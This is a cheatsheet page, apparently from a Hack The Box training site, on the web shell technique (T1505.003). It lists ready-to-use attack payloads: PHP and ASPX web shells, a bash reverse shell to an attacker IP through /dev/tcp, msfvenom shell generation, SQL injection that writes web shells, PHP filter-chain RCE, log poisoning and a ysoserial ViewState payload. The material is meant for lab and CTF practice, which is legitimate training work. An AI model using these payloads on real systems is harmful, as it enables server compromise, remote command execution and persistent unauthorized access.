Search everything Ctrl K
T1505.003

Web Shell

Sub-technique of T1505 Server Software Component ↗

Leaving a script on the web server that runs the commands you send over HTTP.

How it shows up on Hack The Box

On HTB it is the usual outcome of a poorly filtered file upload: a .php (or .phtml, .phar, .aspx) with system($_GET['cmd']) and from there a reverse shell.

Techniques in our catalog that match this one (the number is their machines):

Machines to practice it

Sorted from easiest to hardest. The ▶ link takes you to the minute of the IppSec video where it is used.

Guides

Commands

Taken from our cheatsheets and tool pages. Type your details and they are filled into every command.

Your values Saved in this browser and applied to every cheatsheet.

Reverse shell generator › Webshells

Minimal webshell 
<?php system($_GET['cmd']); ?>

Use it with ?cmd=id. If system is disabled, try passthru, shell_exec, exec or popen.

Webshell that launches the reverse shell 
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.5/443 0>&1'"); ?>
Call the webshell with curl Attacker 
curl -G 'http://VICTIMA/uploads/shell.php' --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/10.10.14.5/443 0>&1'"
ASPX (Windows) Attacker 
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=443 -f aspx -o shell.aspx

SQL injection payloads › MySQL

Write a webshell 
' UNION SELECT '<?php system($_GET["cmd"]); ?>',NULL INTO OUTFILE '/var/www/html/shell.php'-- -

SQL injection payloads › SQLite

Write a webshell with ATTACH (stacked) 
'; ATTACH DATABASE '/var/www/html/shell.php' AS p; CREATE TABLE p.t (x text); INSERT INTO p.t (x) VALUES ('<?php system($_GET["cmd"]); ?>');--

LFI, SSTI, command injection and XXE › LFI

RCE without uploading anything (filter chain) Attacker 
python3 php_filter_chain_generator.py --chain '<?php system($_GET["c"]); ?>'

Builds a huge php://filter chain that writes that code when included. Tool by Synacktiv.

Poison the log through the User-Agent Attacker 
curl -s http://10.10.11.20/ -A '<?php system($_GET["c"]); ?>'

ysoserial › .NET (ysoserial.net, from Windows)

ViewState with the machineKey values 
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "ping 10.10.14.5" --path="/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="CLAVE_DESCIFRADO" --validationalg="SHA1" --validationkey="CLAVE_VALIDACION"

The keys come from web.config (for example, read through an LFI).